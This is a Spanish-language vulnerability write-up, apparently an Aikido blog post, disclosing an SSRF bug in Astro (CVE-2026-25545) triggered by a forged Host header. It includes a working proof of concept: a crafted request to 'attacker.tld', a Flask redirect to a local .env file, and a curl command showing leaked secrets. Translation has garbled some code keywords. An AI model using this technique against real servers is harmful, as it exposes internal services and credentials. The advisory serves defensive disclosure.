Aikido

SSRF de lectura completa en Astro mediante inyección de cabecera Host

Escrito por
Jorian Woltjer

Astro es un framework JavaScript de frontend y backend utilizado por muchas grandes organizaciones para facilitar el desarrollo de sitios web. Recientemente, uno de los agentes de nuestro producto Aikido Attack identificó una vulnerabilidad de severidad media en la implementación del lado del servidor de este framework. Esto hizo que cualquier servidor directamente accesible por el atacante fuera vulnerable a la falsificación de solicitudes del lado del servidor (SSRF).

Ahora conocida como CVE-2026-25545, notificamos rápidamente a los mantenedores de Astro para obtener una solución en solo un par de días. Las versiones astro@5.17.2, @astrojs/node@9.5.3 así como la beta astro@6.0.0-beta.11 están parcheadas.

Resumen

Los errores de renderizado del lado del servidor (SSR) con una página de error personalizada prerrenderizada (por ejemplo, 404.astro o 500.astro) son vulnerables a SSRF. Si la cabecera Host: se cambia al servidor de un atacante, /500.html se obtendrá de su servidor y podrá ser redirigida a cualquier otra URL interna. Esta redirección se sigue y la respuesta se devuelve al atacante.

Cualquier servicio en localhost o en la red interna protegido por firewalls y NAT puede volverse accesible de esta manera, lo que puede tener consecuencias devastadoras dependiendo de lo que esté alojado.

Detalles

El agente de pentesting de IA encontró este problema mientras investigábamos, así que explicaremos su proceso de pensamiento a medida que revisamos los detalles de esta vulnerabilidad.

Astro puede renderizar páginas en dos modos: "estático" y "servidor". Los sitios web sencillos pueden no necesitar un servidor y pueden exportarse como archivos HTML estáticos, mientras que otros sí requieren lógica del lado del servidor. Puedes decidir lo que se necesita por página.

Para la página de inicio, podrías prerrenderizar un archivo HTML que siempre permanecerá igual y solo cambiará cuando vuelvas a construir. Para renderizar bajo demanda en su lugar, como para un contador de visitas, se requiere el renderizado del lado del servidor (SSR).

El uso de SSR requiere que se establezca la opción de configuración de salida en 'server' ES astro.config.mjs:

export default defineConfig({
  output: 'server'
})

Un ejemplo interesante son las páginas de error en Astro. Cualquier ruta puede devolver errores como 404 Not Found o 500 Internal Server Error, que se muestran de forma agradable con las páginas de error predeterminadas.

Como desarrollador, puedes crear una página de error personalizada con 404.astro o 500.astro. Para mayor eficiencia, estas se prerrenderizan como archivos HTML cuando es posible. Lo interesante es que un servidor debe ahora devolver una respuesta prerrenderizada.

Esto se implementa de una manera un tanto extraña: el servidor obtiene /404.html o /500.html de sí mismo y devuelve ese resultado. Puedes leer esto en renderError():

1async #renderError(...): Promise<Response> {
2  const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3  const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4  const url = new URL(request.url);
5  if (errorRouteData) {
6    if (errorRouteData.prerender) {
7      const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8      const statusURL = new URL(
9        `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10        url,  // base
11      );
12      if (statusURL.toString() !== request.url) {
13        const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14        const override = { status, removeContentEncodingHeaders: true };
15        return this.#mergeResponses(response, originalResponse, override);
16      }
17    }
18  ...
19}
20

La línea más importante es prerenderedErrorPageFetch(statusURL), que se ejecuta cuando existe una ruta de error personalizada y la página de error está prerrenderizada (línea 13). En NodeJS, esto es simplemente un alias para fetch() si options.experimentalErrorPageHost no está configurado.
statusURL se construye a partir de request.url (línea 4). Esta propiedad procede de req.headers.host, también conocido como el Host: encabezado en HTTP.

static createRequest(...) {
  const providedHostname = req.headers.host ?? req.headers[':authority'];
  const validated = App.validateForwardedHeaders(
    getFirstForwardedValue(req.headers['x-forwarded-proto']),
    getFirstForwardedValue(req.headers['x-forwarded-host']),
    getFirstForwardedValue(req.headers['x-forwarded-port']),
    allowedDomains,
  );
  const sanitizedProvidedHostname = App.sanitizeHost(
    typeof providedHostname === 'string' ? providedHostname : undefined,
  );
  const hostname = validated.host ?? sanitizedProvidedHostname;

  const hostnamePort = getHostnamePort(hostname, port);
  url = new URL(`${protocol}://${hostnamePort}${req.url}`);

  const request = new Request(url, options);
  ...

El Host: encabezado siempre está controlado por el usuario, ya que es simplemente una cadena arbitraria que envía el cliente. Como se puede ver en la lógica anterior, Astro utiliza req.headers.host para construir request.url, que luego se convierte en la URL base para una llamada interna de fetch() . Astro confía en que la entrada apunte al propio servidor, sin validarla realmente. Esto es inyección de encabezado Host, y es lo que hace posible el SSRF aquí.

GET /not-found HTTP/1.1
Host: attacker.tld

SSRF

Vinimos aquí por Falsificación de Solicitudes del Lado del Servidor, pero no estamos lejos en este punto. La solicitud anterior dispara un error 404, y si se configura una página 404 personalizada, nuestro attacker.tld encabezado host se utilizará para enviar una solicitud a http://attacker.tld/404.html .
Esto ya nos permite obtener esta URL específica en cualquier host interno:

GET /404.html HTTP/1.1
host: attacker.tld
conexión: keep-alive
aceptar: */*
aceptar-idioma: *
modo-sec-fetch: cors
user-agent: node
aceptar-codificación: gzip, deflate

Es probable que no haya mucho contenido sensible en /404.html de un host arbitrario. Afortunadamente para nosotros, fetch() sigue automáticamente las redirecciones. Un hecho que podemos aprovechar porque ya somos capaces de hacer que el servidor de Astro solicite el sitio web de nuestro atacante. Todo lo que tenemos que hacer es redirigir desde http://attacker.tld/404.html a alguna URL sensible como http://127.0.0.1:8000/.env!

Configuraremos un servidor básico para gestionar esto:

de flask import Flask, redirect

app = Flask(__name__)

@app.route("/404.html")
def exploit():
    return redirect("http://127.0.0.1:8000/.env")

si __name__ == "__main__":
    app.run()

Luego enviamos nuestra solicitud maliciosa de nuevo:

$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
tipo de contenido: texto/sin formato
servidor: SimpleHTTP/0.6 Python/3.12.3
Conexión: keep-alive
Keep-Alive: tiempo de espera=5
Codificación de transferencia: fragmentada

SECRET=...

¡Éxito! La página 404 fue obtenida del atacante, redirigida a 127.0.0.1:8000, y se devolvió su respuesta (cabeceras y cuerpo). Con esto, un atacante podría mapear toda la red interna, interactuando con los servicios para leer información potencialmente sensible.

Requisitos

Para que un atacante explote esta vulnerabilidad, existen algunos requisitos:

  1. El servidor debe estar en modo Server-Side Rendering (de lo contrario, es solo HTML estático).
  2. El Host: la cabecera debe estar sin sanear. Algunos proxies validan esta cabecera, por lo que puede ser necesario encontrar la
  3. IP de origen del servidor Astro para conectarse directamente a él.
  4. En el código fuente, el desarrollador debe haber configurado un archivo personalizado 404.astro, 404.md, o 500.astro Este es un caso común para aplicaciones más grandes.

Como se muestra, usar un error 404 visitando una ruta no enrutada es la vía de explotación más probable. Pero si se configura una página de error interno del servidor personalizada, activar cualquier error con una cabecera Host: falsificada también puede desencadenar la vulnerabilidad de la misma manera.

Remediación

Después de ver la vulnerabilidad reportada por nuestro agente de IA, la reportamos rápidamente a los mantenedores de Astro, quienes tuvieron una solución lista en solo un par de días.

Las versiones parcheadas comienzan a partir de:

  • astro@5.17.2
  • astro@6.0.0-beta.11
  • @astrojs/node@9.5.3

Su solución fue replantear la prerenderedErrorPageFetch() función, que antes era un wrapper de fetch(). Ahora /404 o /500 los archivos se leen directamente del disco, y cualquier otra cosa solo se obtiene si options.experimentalErrorPageHost se establece explícitamente, indicando de dónde obtenerlo. La cabecera Host: ahora también se valida, de forma similar a como X-Forwarded-Host: ya lo estaba, para evitar que un atacante manipule request.url en Astro.

Esta vulnerabilidad se reduce a confiar en la entrada del usuario en el Host: encabezado, lo cual nunca se debe hacer. Funciones "mágicas" como la redirección por defecto desde

fetch() también pueden llevar a consecuencias inesperadas. Es recomendable conocer exactamente lo que hacen las funciones que se invocan leyendo su documentación.

El exploit para esta vulnerabilidad resulta ser bastante simple y fácil de probar. Basta con solicitar una página inexistente con un Host: encabezado malformado. Dichos ataques pueden incluso detectarse sin código fuente, interactuando con la aplicación, lo cual

el pentest de IA de Aikido puede hacer. Sin embargo, también posee sólidas capacidades de análisis de código (whitebox), como se desprende de este informe.

Cronología

  • 2 de febrero de 2026: Aikido Security identificó la vulnerabilidad y construyó una PoC funcional
  • 3 de febrero de 2026: Divulgación responsable a los mantenedores de Astro
  • 3 de febrero de 2026: Informe confirmado por los mantenedores de Astro y comienzo del trabajo en una solución
  • 4 de febrero de 2026: CVE-2026-25545 es creado por GitHub
  • Febrero 11, 2026: La solución se lanza en nuevas versiones de Astro (astro@5.17.2, astro@6.0.0-beta.11, y @astrojs/node@9.5.3)
Compartir:

https://www.aikido.dev/blog/astro-full-read-ssrf-via-host-header-injection

Empieza hoy, gratis.

Empieza gratis
Sin tarjeta

Suscríbase para recibir noticias sobre amenazas.

4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.